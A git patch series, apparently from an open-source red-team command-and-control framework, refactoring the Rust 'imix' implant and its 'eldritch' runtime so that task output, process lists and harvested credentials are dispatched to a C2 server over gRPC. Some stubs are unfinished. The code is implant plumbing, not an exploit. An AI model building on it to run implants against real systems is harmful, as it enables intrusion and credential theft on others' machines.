drain(&self.rx_output) - } - - /* - * Collects all currently available reported errors, if any. - */ - pub fn collect_errors(&self) -> Vec { - drain(&self.rx_error) - } - - /* - * Returns all currently available reported credentials, if any. - */ - pub fn collect_credentials(&self) -> Vec { - drain(&self.rx_credential) - } - - /* - * Returns all currently available reported process lists, if any. - */ - pub fn collect_process_lists(&self) -> Vec { - drain(&self.rx_process_list) - } - - /* - * Returns all currently available reported files, if any. - */ - pub fn collect_files(&self) -> Vec { - drain(&self.rx_file) - } - - /* - * Returns all FileRequests that the eldritch runtime has requested, if any. - */ - pub fn collect_file_requests(&self) -> Vec { - drain(&self.rx_file_request) - } } diff --git a/implants/lib/eldritch/src/runtime/messages/download_file.rs b/implants/lib/eldritch/src/runtime/messages/download_file.rs new file mode 100644 index 000000000..47c3e4288 --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/download_file.rs @@ -0,0 +1,13 @@ +use super::{Dispatcher, Transport}; +use anyhow::Result; + +pub struct DownloadFile { + name: String, +} + +impl Dispatcher for DownloadFile { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + println!("TODO"); + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/mod.rs b/implants/lib/eldritch/src/runtime/messages/mod.rs new file mode 100644 index 000000000..80529c4b5 --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/mod.rs @@ -0,0 +1,39 @@ +mod download_file; +mod report_error; +mod report_file; +mod report_process_list; +mod report_text; +mod transport; + +use anyhow::{Error, Result}; + +pub use download_file::DownloadFile; +pub use report_error::ReportError; +pub use report_file::ReportFile; +pub use report_process_list::ReportProcessList; +pub use report_text::ReportText; +pub use transport::Transport; + +pub trait Dispatcher { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()>; +} + +pub enum Message { + ReportText(ReportText), + ReportError(ReportError), + ReportProcessList(ReportProcessList), + ReportFile(ReportFile), + DownloadFile(DownloadFile), +} + +impl Dispatcher for Message { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + match self { + Self::ReportText(msg) => msg.dispatch(transport).await, + Self::ReportError(msg) => msg.dispatch(transport).await, + Self::ReportProcessList(msg) => msg.dispatch(transport).await, + Self::ReportFile(msg) => msg.dispatch(transport).await, + Self::DownloadFile(msg) => msg.dispatch(transport).await, + } + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_error.rs b/implants/lib/eldritch/src/runtime/messages/report_error.rs new file mode 100644 index 000000000..33bf36fc8 --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/report_error.rs @@ -0,0 +1,30 @@ +use super::{Dispatcher, Transport}; +use anyhow::{Error, Result}; +use api::pb::c2::{ReportTaskOutputRequest, TaskError, TaskOutput}; +use prost_types::Timestamp; + +pub struct ReportError { + pub(crate) id: i64, + pub(crate) error: Error, + pub(crate) exec_started_at: Option, + pub(crate) exec_finished_at: Option, +} + +impl Dispatcher for ReportError { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + transport + .report_task_output(ReportTaskOutputRequest { + output: Some(TaskOutput { + id: self.id, + output: String::from(""), + exec_started_at: self.exec_started_at, + exec_finished_at: self.exec_finished_at, + error: Some(TaskError { + msg: self.error.to_string(), + }), + }), + }) + .await?; + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_file.rs b/implants/lib/eldritch/src/runtime/messages/report_file.rs new file mode 100644 index 000000000..3bf84048b --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/report_file.rs @@ -0,0 +1,14 @@ +use super::{Dispatcher, Transport}; +use anyhow::Result; +use api::pb::c2::ReportProcessListRequest; + +pub struct ReportFile { + id: i64, + path: String, +} + +impl Dispatcher for ReportFile { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_process_list.rs b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs new file mode 100644 index 000000000..08834804f --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs @@ -0,0 +1,20 @@ +use super::{Dispatcher, Transport}; +use anyhow::Result; +use api::pb::{c2::ReportProcessListRequest, eldritch::ProcessList}; + +pub struct ReportProcessList { + id: i64, + list: ProcessList, +} + +impl Dispatcher for ReportProcessList { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + transport + .report_process_list(ReportProcessListRequest { + task_id: self.id, + list: Some(self.list), + }) + .await?; + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_text.rs b/implants/lib/eldritch/src/runtime/messages/report_text.rs new file mode 100644 index 000000000..d0bbee2b3 --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/report_text.rs @@ -0,0 +1,28 @@ +use super::{Dispatcher, Transport}; +use anyhow::Result; +use api::pb::c2::{ReportTaskOutputRequest, TaskOutput}; +use prost_types::Timestamp; + +pub struct ReportText { + pub(crate) id: i64, + pub(crate) text: String, + pub(crate) exec_started_at: Option, + pub(crate) exec_finished_at: Option, +} + +impl Dispatcher for ReportText { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + transport + .report_task_output(ReportTaskOutputRequest { + output: Some(TaskOutput { + id: self.id, + output: self.text, + exec_started_at: self.exec_started_at, + exec_finished_at: self.exec_finished_at, + error: None, + }), + }) + .await?; + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/transport.rs b/implants/lib/eldritch/src/runtime/messages/transport.rs new file mode 100644 index 000000000..0ab9a0735 --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/transport.rs @@ -0,0 +1,35 @@ +use anyhow::Result; +use api::pb::c2::{ + DownloadFileRequest, DownloadFileResponse, ReportCredentialRequest, ReportCredentialResponse, + ReportFileRequest, ReportFileResponse, ReportProcessListRequest, ReportProcessListResponse, + ReportTaskOutputRequest, ReportTaskOutputResponse, +}; +use std::sync::mpsc::{Receiver, Sender}; + +pub trait Transport { + async fn download_file( + &mut self, + request: DownloadFileRequest, + sender: Sender, + ) -> Result<()>; + + async fn report_credential( + &mut self, + request: ReportCredentialRequest, + ) -> Result; + + async fn report_file( + &mut self, + request: Receiver, + ) -> Result; + + async fn report_process_list( + &mut self, + request: ReportProcessListRequest, + ) -> Result; + + async fn report_task_output( + &mut self, + request: ReportTaskOutputRequest, + ) -> Result; +} diff --git a/implants/lib/eldritch/src/runtime/mod.rs b/implants/lib/eldritch/src/runtime/mod.rs index 298c6520a..7f3ffe1e6 100644 --- a/implants/lib/eldritch/src/runtime/mod.rs +++ b/implants/lib/eldritch/src/runtime/mod.rs @@ -1,9 +1,11 @@ mod drain; mod environment; -mod exec; +mod eval; +mod messages; pub use environment::{Environment, FileRequest}; -pub use exec::{start, Runtime}; +pub use eval::{start, Runtime}; +pub use messages::Message; #[cfg(test)] mod tests { From a8444c44bfe680793dc8cc1097648980c0dfb867 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Thu, 15 Feb 2024 08:00:31 +0000 Subject: [PATCH 02/13] it builds? --- .vscode/settings.json | 3 + implants/Cargo.toml | 10 +- implants/golem/Cargo.toml | 4 +- implants/golem/src/main.rs | 33 +- implants/imix/Cargo.toml | 6 +- implants/imix/src/agent.rs | 8 +- implants/imix/src/config.rs | 14 +- implants/imix/src/install.rs | 28 +- implants/imix/src/task.rs | 332 +++++++------- implants/lib/api/src/generated/c2.rs | 430 ------------------ implants/lib/api/src/lib.rs | 8 - implants/lib/c2/build.rs | 30 -- implants/lib/eldritch/Cargo.toml | 4 +- implants/lib/eldritch/build.rs | 28 -- implants/lib/eldritch/src/assets/copy_impl.rs | 121 +++-- .../lib/eldritch/src/generated/eldritch.rs | 191 -------- implants/lib/eldritch/src/lib.rs | 6 +- .../eldritch/src/report/process_list_impl.rs | 42 +- .../lib/eldritch/src/report/ssh_key_impl.rs | 47 +- .../eldritch/src/report/user_password_impl.rs | 47 +- .../lib/eldritch/src/runtime/environment.rs | 4 +- implants/lib/eldritch/src/runtime/eval.rs | 47 +- .../src/runtime/messages/download_file.rs | 13 - .../src/runtime/messages/fetch_asset.rs | 18 + .../lib/eldritch/src/runtime/messages/mod.rs | 31 +- .../src/runtime/messages/report_credential.rs | 15 + .../src/runtime/messages/report_error.rs | 9 +- .../src/runtime/messages/report_file.rs | 3 +- .../runtime/messages/report_process_list.rs | 7 +- .../src/runtime/messages/report_text.rs | 9 +- .../src/runtime/messages/transport.rs | 35 -- implants/lib/eldritch/src/runtime/mod.rs | 55 ++- implants/lib/{api => pb}/Cargo.toml | 2 +- implants/lib/{api => pb}/build.rs | 2 +- implants/lib/{c2 => pb}/src/generated/c2.rs | 24 +- .../lib/{api => pb}/src/generated/eldritch.rs | 0 implants/lib/pb/src/lib.rs | 6 + implants/lib/{c2 => transport}/Cargo.toml | 16 +- implants/lib/{c2 => transport}/src/grpc.rs | 62 ++- implants/lib/{c2 => transport}/src/lib.rs | 9 +- .../lib/{c2 => transport}/src/transport.rs | 40 +- tavern/internal/c2/api_download_file.go | 4 +- tavern/internal/c2/api_download_file_test.go | 8 +- tavern/internal/c2/c2pb/c2.pb.go | 48 +- tavern/internal/c2/c2pb/c2_grpc.pb.go | 20 +- tavern/internal/c2/proto/c2.proto | 8 +- 46 files changed, 670 insertions(+), 1217 deletions(-) delete mode 100644 implants/lib/api/src/generated/c2.rs delete mode 100644 implants/lib/api/src/lib.rs delete mode 100644 implants/lib/c2/build.rs delete mode 100644 implants/lib/eldritch/src/generated/eldritch.rs delete mode 100644 implants/lib/eldritch/src/runtime/messages/download_file.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/fetch_asset.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/report_credential.rs delete mode 100644 implants/lib/eldritch/src/runtime/messages/transport.rs rename implants/lib/{api => pb}/Cargo.toml (97%) rename implants/lib/{api => pb}/build.rs (95%) rename implants/lib/{c2 => pb}/src/generated/c2.rs (96%) rename implants/lib/{api => pb}/src/generated/eldritch.rs (100%) create mode 100644 implants/lib/pb/src/lib.rs rename implants/lib/{c2 => transport}/Cargo.toml (53%) rename implants/lib/{c2 => transport}/src/grpc.rs (84%) rename implants/lib/{c2 => transport}/src/lib.rs (60%) rename implants/lib/{c2 => transport}/src/transport.rs (59%) diff --git a/.vscode/settings.json b/.vscode/settings.json index 75e520d59..6700f1729 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -4,4 +4,7 @@ "rust-analyzer" ], "rust-analyzer.check.command": "clippy", + "rust-analyzer.linkedProjects": [ + "./implants/lib/transport/Cargo.toml" + ], } diff --git a/implants/Cargo.toml b/implants/Cargo.toml index 4f46cd718..4affd63e5 100644 --- a/implants/Cargo.toml +++ b/implants/Cargo.toml @@ -1,9 +1,12 @@ [workspace] -members = ["imix", "golem", "lib/eldritch", "lib/c2", "lib/api"] +members = ["imix", "golem", "lib/eldritch", "lib/transport", "lib/pb"] resolver = "2" [workspace.dependencies] -api = { path = "./lib/api" } +transport = { path = "./lib/transport" } +eldritch = { path = "./lib/eldritch" } +pb = { path = "./lib/pb" } + aes = "0.8.3" allocative = "0.3.2" allocative_derive = "0.3.2" @@ -16,7 +19,6 @@ chrono = "0.4.24" clap = "3.2.23" default-net = "0.13.1" derive_more = "0.99.17" -eldritch = { path = "./lib/eldritch" } eval = "0.4.3" flate2 = "1.0.24" gazebo = "0.8.1" @@ -59,8 +61,8 @@ structopt = "0.3.23" sys-info = "0.9.1" sysinfo = "0.29.7" tar = "0.4.38" +trait-variant = "0.1.1" tonic-build = "0.10" -c2 = { path = "./lib/c2" } tempfile = "3.3.0" tera = "1.17.1" thiserror = "1.0.30" diff --git a/implants/golem/Cargo.toml b/implants/golem/Cargo.toml index edbc862b4..fae4b0437 100644 --- a/implants/golem/Cargo.toml +++ b/implants/golem/Cargo.toml @@ -4,8 +4,10 @@ version = "0.0.5" edition = "2021" [dependencies] -starlark_lsp = "0.12.0" +pb = { workspace = true } eldritch = { workspace = true, features = ["print_stdout"] } + +starlark_lsp = "0.12.0" tokio = { workspace = true, features = ["macros"] } clap = { workspace = true } starlark = { workspace = true } diff --git a/implants/golem/src/main.rs b/implants/golem/src/main.rs index bd6c0d1a6..546c757d6 100644 --- a/implants/golem/src/main.rs +++ b/implants/golem/src/main.rs @@ -5,7 +5,8 @@ mod inter; use anyhow::{anyhow, Result}; use clap::{Arg, Command}; -use eldritch::pb::Tome; +use eldritch::runtime::Message; +use pb::eldritch::Tome; use std::collections::HashMap; use std::fs; use std::process; @@ -16,25 +17,35 @@ struct ParsedTome { async fn run_tomes(tomes: Vec) -> Result> { let mut runtimes = Vec::new(); + let mut idx = 1; for tome in tomes { - let runtime = eldritch::start(Tome { - eldritch: tome.eldritch, - parameters: HashMap::new(), - file_names: Vec::new(), - }) + let runtime = eldritch::start( + idx, + Tome { + eldritch: tome.eldritch, + parameters: HashMap::new(), + file_names: Vec::new(), + }, + ) .await; runtimes.push(runtime); + idx += 1; } let mut result = Vec::new(); for runtime in &mut runtimes { runtime.finish().await; - let mut out = runtime.collect_text(); - let errors = runtime.collect_errors(); - if !errors.is_empty() { - return Err(anyhow!("tome execution failed: {:?}", errors)); + + let messages = runtime.collect(); + for msg in messages { + match msg { + Message::ReportText(m) => result.push(m.text()), + Message::ReportError(m) => { + return Err(anyhow!("{}", m.error)); + } + _ => {} + } } - result.append(&mut out); } Ok(result) diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml index 47726f3f2..d74febc20 100644 --- a/implants/imix/Cargo.toml +++ b/implants/imix/Cargo.toml @@ -4,11 +4,14 @@ version = "0.0.5" edition = "2021" [dependencies] +eldritch = { workspace = true, features = ["imix"] } +pb = {workspace = true } +transport = { workspace = true } + anyhow = { workspace = true } chrono = { workspace = true , features = ["serde"] } clap = { workspace = true } default-net = { workspace = true } -eldritch = { workspace = true, features = ["imix"] } hyper = { workspace = true } log = {workspace = true} openssl = { workspace = true, features = ["vendored"] } @@ -19,7 +22,6 @@ reqwest = { workspace = true, features = ["blocking", "stream", "json"] } serde = { workspace = true, features = ["derive"] } serde_json = {workspace = true} sys-info = { workspace = true } -c2 = { workspace = true } tonic = { workspace = true } tokio = { workspace = true, features = ["full"] } uuid = { workspace = true, features = ["v4","fast-rng"] } diff --git a/implants/imix/src/agent.rs b/implants/imix/src/agent.rs index a483a9e48..eca7ded3d 100644 --- a/implants/imix/src/agent.rs +++ b/implants/imix/src/agent.rs @@ -1,10 +1,8 @@ use crate::{config::Config, task::TaskHandle}; use anyhow::Result; -use c2::{ - pb::{Beacon, ClaimTasksRequest}, - Transport, GRPC, -}; +use pb::c2::{Beacon, ClaimTasksRequest}; use std::time::{Duration, Instant}; +use transport::{Transport, GRPC}; /* * Agent contains all relevant logic for managing callbacks to a c2 server. @@ -51,7 +49,7 @@ impl Agent { } }; - let runtime = eldritch::start(tome).await; + let runtime = eldritch::start(task.id, tome).await; self.handles.push(TaskHandle::new(task.id, runtime)); #[cfg(debug_assertions)] diff --git a/implants/imix/src/config.rs b/implants/imix/src/config.rs index de8265094..4f972d3c9 100644 --- a/implants/imix/src/config.rs +++ b/implants/imix/src/config.rs @@ -1,5 +1,5 @@ use crate::version::VERSION; -use c2::pb::host::Platform; +use pb::c2::host::Platform; use std::{ fs::{self, File}, io::Write, @@ -52,7 +52,7 @@ pub const RETRY_INTERVAL: &str = retry_interval!(); */ #[derive(Debug, Clone)] pub struct Config { - pub info: c2::pb::Beacon, + pub info: pb::c2::Beacon, pub callback_uri: String, pub retry_interval: u64, } @@ -62,18 +62,18 @@ pub struct Config { */ impl Default for Config { fn default() -> Self { - let agent = c2::pb::Agent { + let agent = pb::c2::Agent { identifier: format!("imix-v{}", VERSION), }; - let host = c2::pb::Host { + let host = pb::c2::Host { name: whoami::hostname(), identifier: get_host_id(get_host_id_path()), platform: get_host_platform() as i32, primary_ip: get_primary_ip(), }; - let info = c2::pb::Beacon { + let info = pb::c2::Beacon { identifier: String::from(Uuid::new_v4()), principal: whoami::username(), interval: match CALLBACK_INTERVAL.parse::() { @@ -155,7 +155,9 @@ fn get_host_id(file_path: String) -> String { // Read Existing Host ID let path = Path::new(file_path.as_str()); if path.exists() { - if let Ok(host_id) = fs::read_to_string(path) { return host_id.trim().to_string() } + if let Ok(host_id) = fs::read_to_string(path) { + return host_id.trim().to_string(); + } } // Generate New diff --git a/implants/imix/src/install.rs b/implants/imix/src/install.rs index ee35ecab6..b30cf20dc 100644 --- a/implants/imix/src/install.rs +++ b/implants/imix/src/install.rs @@ -1,6 +1,7 @@ use anyhow::{anyhow, Result}; -use eldritch::pb::Tome; -use std::collections::HashMap; +use eldritch::runtime::Message; +use pb::eldritch::Tome; +use std::{collections::HashMap, fmt::Write}; pub async fn install() { #[cfg(debug_assertions)] @@ -31,15 +32,26 @@ pub async fn install() { // Run tome #[cfg(debug_assertions)] log::info!("running tome {embedded_file_path}"); - let mut runtime = eldritch::start(Tome { - eldritch, - parameters: HashMap::new(), - file_names: Vec::new(), - }) + let mut runtime = eldritch::start( + 0, + Tome { + eldritch, + parameters: HashMap::new(), + file_names: Vec::new(), + }, + ) .await; runtime.finish().await; - let _output = runtime.collect_text().join(""); + #[cfg(debug_assertions)] + let mut _output = String::new(); + + #[cfg(debug_assertions)] + for msg in runtime.collect() { + if let Message::ReportText(m) = msg { + _output.write_str(m.text().as_str()); + } + } #[cfg(debug_assertions)] log::info!("{_output}"); } diff --git a/implants/imix/src/task.rs b/implants/imix/src/task.rs index 8aca1a5f6..392c61e25 100644 --- a/implants/imix/src/task.rs +++ b/implants/imix/src/task.rs @@ -1,14 +1,13 @@ use anyhow::Result; -use c2::{ - pb::{ - DownloadFileRequest, DownloadFileResponse, ReportCredentialRequest, - ReportProcessListRequest, ReportTaskOutputRequest, TaskError, TaskOutput, - }, - Transport, -}; +use eldritch::runtime::messages::Dispatcher; use eldritch::FileRequest; +use pb::c2::{ + FetchAssetRequest, FetchAssetResponse, ReportCredentialRequest, ReportProcessListRequest, + ReportTaskOutputRequest, TaskError, TaskOutput, +}; use std::sync::mpsc::channel; use tokio::task::JoinHandle; +use transport::Transport; /* * Task handle is responsible for tracking a running task and reporting it's output. @@ -44,159 +43,178 @@ impl TaskHandle { // Report any available task output. // Also responsible for downloading any files requested by the eldritch runtime. - pub async fn report(&mut self, tavern: &mut impl Transport) -> Result<()> { - let exec_started_at = self.runtime.get_exec_started_at(); - let exec_finished_at = self.runtime.get_exec_finished_at(); - let text = self.runtime.collect_text(); - let err = self.runtime.collect_errors().pop().map(|err| TaskError { - msg: err.to_string(), - }); - - #[cfg(debug_assertions)] - log::info!( - "collected task output: task_id={}, exec_started_at={}, exec_finished_at={}, output={}, error={}", - self.id, - match exec_started_at.clone() { - Some(t) => t.to_string(), - None => String::from(""), - }, - match exec_finished_at.clone() { - Some(t) => t.to_string(), - None => String::from(""), - }, - text.join(""), - match err.clone() { - Some(_err) => _err.msg, - None => String::from(""), - } - ); - - if !text.is_empty() - || err.is_some() - || exec_started_at.is_some() - || exec_finished_at.is_some() - { - #[cfg(debug_assertions)] - log::info!("reporting task output: task_id={}", self.id); - - tavern - .report_task_output(ReportTaskOutputRequest { - output: Some(TaskOutput { - id: self.id, - output: text.join(""), - error: err, - exec_started_at, - exec_finished_at, - }), - }) - .await?; - } - - // Report Credential - let credentials = self.runtime.collect_credentials(); - for cred in credentials { - #[cfg(debug_assertions)] - log::info!("reporting credential (task_id={}): {:?}", self.id, cred); - - match tavern - .report_credential(ReportCredentialRequest { - task_id: self.id, - credential: Some(cred), - }) - .await - { - Ok(_) => {} - Err(_err) => { - #[cfg(debug_assertions)] - log::error!( - "failed to report credential (task_id={}): {}", - self.id, - _err - ); - } - } + pub async fn report(&mut self, tavern: &mut (impl Transport + 'static)) -> Result<()> { + let messages = self.runtime.collect(); + for msg in messages { + let mut t = tavern.clone(); + tokio::spawn(async move { + msg.dispatch(&mut t).await; + }); } - // Report Process Lists - let process_lists = self.runtime.collect_process_lists(); - for list in process_lists { - #[cfg(debug_assertions)] - log::info!("reporting process list: len={}", list.list.len()); - - match tavern - .report_process_list(ReportProcessListRequest { - task_id: self.id, - list: Some(list), - }) - .await - { - Ok(_) => {} - Err(_err) => { - #[cfg(debug_assertions)] - log::error!( - "failed to report process list: task_id={}: {}", - self.id, - _err - ); - } - } - } - - // Download Files - let file_reqs = self.runtime.collect_file_requests(); - for req in file_reqs { - let name = req.name(); - match self.start_file_download(tavern, req).await { - Ok(_) => { - #[cfg(debug_assertions)] - log::info!("started file download: task_id={}, name={}", self.id, name); - } - Err(_err) => { - #[cfg(debug_assertions)] - log::error!( - "failed to download file: task_id={}, name={}: {}", - self.id, - name, - _err - ); - } - } - } + // tokio::spawn(async move { + // match msg.dispatch(t.clone()).await { + // Ok(_) => {} + // Err(_err) => { + // #[cfg(debug_assertions)] + // log::error!("failed to dispatch message"); + // } + // }; + // } + // }); + + // let exec_started_at = self.runtime.get_exec_started_at(); + // let exec_finished_at = self.runtime.get_exec_finished_at(); + // let text = self.runtime.collect_text(); + // let err = self.runtime.collect_errors().pop().map(|err| TaskError { + // msg: err.to_string(), + // }); + + // #[cfg(debug_assertions)] + // log::info!( + // "collected task output: task_id={}, exec_started_at={}, exec_finished_at={}, output={}, error={}", + // self.id, + // match exec_started_at.clone() { + // Some(t) => t.to_string(), + // None => String::from(""), + // }, + // match exec_finished_at.clone() { + // Some(t) => t.to_string(), + // None => String::from(""), + // }, + // text.join(""), + // match err.clone() { + // Some(_err) => _err.msg, + // None => String::from(""), + // } + // ); + + // if !text.is_empty() + // || err.is_some() + // || exec_started_at.is_some() + // || exec_finished_at.is_some() + // { + // #[cfg(debug_assertions)] + // log::info!("reporting task output: task_id={}", self.id); + + // tavern + // .report_task_output(ReportTaskOutputRequest { + // output: Some(TaskOutput { + // id: self.id, + // output: text.join(""), + // error: err, + // exec_started_at, + // exec_finished_at, + // }), + // }) + // .await?; + // } + + // // Report Credential + // let credentials = self.runtime.collect_credentials(); + // for cred in credentials { + // #[cfg(debug_assertions)] + // log::info!("reporting credential (task_id={}): {:?}", self.id, cred); + + // match tavern + // .report_credential(ReportCredentialRequest { + // task_id: self.id, + // credential: Some(cred), + // }) + // .await + // { + // Ok(_) => {} + // Err(_err) => { + // #[cfg(debug_assertions)] + // log::error!( + // "failed to report credential (task_id={}): {}", + // self.id, + // _err + // ); + // } + // } + // } + + // // Report Process Lists + // let process_lists = self.runtime.collect_process_lists(); + // for list in process_lists { + // #[cfg(debug_assertions)] + // log::info!("reporting process list: len={}", list.list.len()); + + // match tavern + // .report_process_list(ReportProcessListRequest { + // task_id: self.id, + // list: Some(list), + // }) + // .await + // { + // Ok(_) => {} + // Err(_err) => { + // #[cfg(debug_assertions)] + // log::error!( + // "failed to report process list: task_id={}: {}", + // self.id, + // _err + // ); + // } + // } + // } + + // // Download Files + // let file_reqs = self.runtime.collect_file_requests(); + // for req in file_reqs { + // let name = req.name(); + // match self.start_file_download(tavern, req).await { + // Ok(_) => { + // #[cfg(debug_assertions)] + // log::info!("started file download: task_id={}, name={}", self.id, name); + // } + // Err(_err) => { + // #[cfg(debug_assertions)] + // log::error!( + // "failed to download file: task_id={}, name={}: {}", + // self.id, + // name, + // _err + // ); + // } + // } + // } Ok(()) } - async fn start_file_download( - &mut self, - tavern: &mut impl Transport, - req: FileRequest, - ) -> Result<()> { - let (tx, rx) = channel::(); - - tavern - .download_file(DownloadFileRequest { name: req.name() }, tx) - .await?; - - let handle = tokio::task::spawn_blocking(move || { - for r in rx { - match req.send_chunk(r.chunk) { - Ok(_) => {} - Err(_err) => { - #[cfg(debug_assertions)] - log::error!( - "failed to send downloaded file chunk: {}: {}", - req.name(), - _err - ); - - return; - } - } - } - #[cfg(debug_assertions)] - log::info!("file download completed: {}", req.name()); - }); - - self.download_handles.push(handle); - Ok(()) - } + // async fn start_file_download( + // &mut self, + // tavern: &mut impl Transport, + // req: FileRequest, + // ) -> Result<()> { + // let (tx, rx) = channel::(); + + // tavern + // .download_file(FetchAssetRequest { name: req.name() }, tx) + // .await?; + + // let handle = tokio::task::spawn_blocking(move || { + // for r in rx { + // match req.send_chunk(r.chunk) { + // Ok(_) => {} + // Err(_err) => { + // #[cfg(debug_assertions)] + // log::error!( + // "failed to send downloaded file chunk: {}: {}", + // req.name(), + // _err + // ); + + // return; + // } + // } + // } + // #[cfg(debug_assertions)] + // log::info!("file download completed: {}", req.name()); + // }); + + // self.download_handles.push(handle); + // Ok(()) + // } } diff --git a/implants/lib/api/src/generated/c2.rs b/implants/lib/api/src/generated/c2.rs deleted file mode 100644 index 7ece946ae..000000000 --- a/implants/lib/api/src/generated/c2.rs +++ /dev/null @@ -1,430 +0,0 @@ -/// Agent information to identify the type of beacon. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Agent { - #[prost(string, tag = "1")] - pub identifier: ::prost::alloc::string::String, -} -/// Beacon information that is unique to the current running beacon. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Beacon { - #[prost(string, tag = "1")] - pub identifier: ::prost::alloc::string::String, - #[prost(string, tag = "2")] - pub principal: ::prost::alloc::string::String, - #[prost(message, optional, tag = "3")] - pub host: ::core::option::Option, - #[prost(message, optional, tag = "4")] - pub agent: ::core::option::Option, - /// Duration until next callback, in seconds. - #[prost(uint64, tag = "5")] - pub interval: u64, -} -/// Host information for the system a beacon is running on. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Host { - #[prost(string, tag = "1")] - pub identifier: ::prost::alloc::string::String, - #[prost(string, tag = "2")] - pub name: ::prost::alloc::string::String, - #[prost(enumeration = "host::Platform", tag = "3")] - pub platform: i32, - #[prost(string, tag = "4")] - pub primary_ip: ::prost::alloc::string::String, -} -/// Nested message and enum types in `Host`. -pub mod host { - #[derive( - Clone, - Copy, - Debug, - PartialEq, - Eq, - Hash, - PartialOrd, - Ord, - ::prost::Enumeration - )] - #[repr(i32)] - pub enum Platform { - Unspecified = 0, - Windows = 1, - Linux = 2, - Macos = 3, - Bsd = 4, - } - impl Platform { - /// String value of the enum field names used in the ProtoBuf definition. - /// - /// The values are not transformed in any way and thus are considered stable - /// (if the ProtoBuf definition does not change) and safe for programmatic use. - pub fn as_str_name(&self) -> &'static str { - match self { - Platform::Unspecified => "PLATFORM_UNSPECIFIED", - Platform::Windows => "PLATFORM_WINDOWS", - Platform::Linux => "PLATFORM_LINUX", - Platform::Macos => "PLATFORM_MACOS", - Platform::Bsd => "PLATFORM_BSD", - } - } - /// Creates an enum from field names used in the ProtoBuf definition. - pub fn from_str_name(value: &str) -> ::core::option::Option { - match value { - "PLATFORM_UNSPECIFIED" => Some(Self::Unspecified), - "PLATFORM_WINDOWS" => Some(Self::Windows), - "PLATFORM_LINUX" => Some(Self::Linux), - "PLATFORM_MACOS" => Some(Self::Macos), - "PLATFORM_BSD" => Some(Self::Bsd), - _ => None, - } - } - } -} -/// Task instructions for the beacon to execute. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Task { - #[prost(int64, tag = "1")] - pub id: i64, - #[prost(message, optional, tag = "2")] - pub tome: ::core::option::Option, - #[prost(string, tag = "3")] - pub quest_name: ::prost::alloc::string::String, -} -/// TaskError provides information when task execution fails. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct TaskError { - #[prost(string, tag = "1")] - pub msg: ::prost::alloc::string::String, -} -/// TaskOutput provides information about a running task. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct TaskOutput { - #[prost(int64, tag = "1")] - pub id: i64, - #[prost(string, tag = "2")] - pub output: ::prost::alloc::string::String, - #[prost(message, optional, tag = "3")] - pub error: ::core::option::Option, - /// Indicates the UTC timestamp task execution began, set only in the first message for reporting. - #[prost(message, optional, tag = "4")] - pub exec_started_at: ::core::option::Option<::prost_types::Timestamp>, - /// Indicates the UTC timestamp task execution completed, set only in last message for reporting. - #[prost(message, optional, tag = "5")] - pub exec_finished_at: ::core::option::Option<::prost_types::Timestamp>, -} -/// -/// RPC Messages -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ClaimTasksRequest { - #[prost(message, optional, tag = "1")] - pub beacon: ::core::option::Option, -} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ClaimTasksResponse { - #[prost(message, repeated, tag = "1")] - pub tasks: ::prost::alloc::vec::Vec, -} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct DownloadFileRequest { - #[prost(string, tag = "1")] - pub name: ::prost::alloc::string::String, -} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct DownloadFileResponse { - #[prost(bytes = "vec", tag = "1")] - pub chunk: ::prost::alloc::vec::Vec, -} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ReportCredentialRequest { - #[prost(int64, tag = "1")] - pub task_id: i64, - #[prost(message, optional, tag = "2")] - pub credential: ::core::option::Option, -} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ReportCredentialResponse {} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ReportFileRequest { - #[prost(int64, tag = "1")] - pub task_id: i64, - #[prost(message, optional, tag = "2")] - pub chunk: ::core::option::Option, -} 